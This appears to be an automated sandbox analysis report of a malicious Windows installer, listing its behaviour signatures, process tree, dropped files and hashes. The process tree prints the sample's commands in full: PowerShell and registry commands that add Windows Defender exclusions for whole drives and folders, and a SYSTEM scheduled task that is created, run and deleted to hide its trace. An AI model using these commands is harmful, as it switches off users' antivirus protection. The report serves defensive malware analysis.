Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 13:16

General

  • Target
    install_q2.0.18.exe
  • Size 25.4MB
  • Sample260905-qjakeastew
  • SHA256 4c86837f9319b4111f63db923f2cabbe311a5374e76fa0f2b7c39bdce7ee0f9e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3516
  • C:\Users\Public\qRtGPT\7KqzaX.exe
    "C:\Users\Public\qRtGPT\7KqzaX.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3132
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qRtGPT\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qRtGPT\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1948
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2652
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3340
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3328
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4716
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1516
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1720
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5356
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4612
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5904
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3248
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2924
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3136
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:620
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3796
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4556
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4348
                      • C:\Users\Public\qRtGPT\7KqzaX.exe
                        "C:\Users\Public\qRtGPT\7KqzaX.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3492
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qRtGPT" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4116
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qRtGPT" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5820
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1872
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4912
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:460
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4736
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5308

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 7ccbe8ac0c1e12090dc5c45ce54525ecf8c8d350a34733873e2999ead1124e43
                              • MD5 SHA1 SHA512 TLSH

                              7KqzaX.exe

                              • Path C:\Users\Public\qRtGPT\7KqzaX.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\qRtGPT\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 bd154dce7684dd6255bc151a8551690b683bd53e5485a16f82905fe0c72be54e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\qRtGPT\adoresd.dat
                              • Size 4.7MB
                              • SHA256 e8905d0f796b7c5749786830d652dda49252bbd28558f6ffb4b3b1be14395366
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\qRtGPT\msadox.tb
                              • Size 8KB
                              • SHA256 8528be2693acc8cf58c61c5777b4292426c1d7e95c54d584ddebd61306201f13
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3132-603-0x000001D371870000-0x000001D371892000-memory.dmp

                              memory/3132-606-0x000001D3718A0000-0x000001D3718BE000-memory.dmp

                              memory/3132-608-0x000001D371980000-0x000001D37198A000-memory.dmp

                              memory/3132-607-0x000001D3718C0000-0x000001D371972000-memory.dmp

                              memory/3492-582-0x00007FFEE2C20000-0x00007FFEE2C22000-memory.dmp

                              memory/3492-588-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3492-578-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3492-575-0x00007FFEC0070000-0x00007FFEC058E000-memory.dmp

                              memory/3492-589-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3492-591-0x00007FFEE2C10000-0x00007FFEE2C12000-memory.dmp

                              memory/3492-590-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3492-583-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3492-587-0x0000019BA1BC0000-0x0000019BA2447000-memory.dmp

                              memory/3516-0-0x0000000002040000-0x000000000204E000-memory.dmp

                              memory/3516-526-0x0000000002040000-0x000000000204E000-memory.dmp

                              memory/3516-1-0x0000000002050000-0x000000000205C000-memory.dmp

                              memory/3516-527-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

                              memory/3516-503-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

                              memory/3516-524-0x00007FFED86F0000-0x00007FFED8702000-memory.dmp

                              memory/5760-541-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-567-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-552-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-565-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-568-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-559-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

                              memory/5760-563-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

                              memory/5760-560-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

                              memory/5760-558-0x0000029EB43E0000-0x0000029EB442E000-memory.dmp

                              memory/5760-548-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-547-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-546-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-545-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-562-0x0000029EB5720000-0x0000029EB57AA000-memory.dmp

                              memory/5760-540-0x00007FFEE2C20000-0x00007FFEE2C22000-memory.dmp

                              memory/5760-538-0x0000029EB4E90000-0x0000029EB5717000-memory.dmp

                              memory/5760-533-0x00007FFEC0070000-0x00007FFEC058E000-memory.dmp

                              memory/5760-532-0x00007FFEE2C10000-0x00007FFEE2C12000-memory.dmp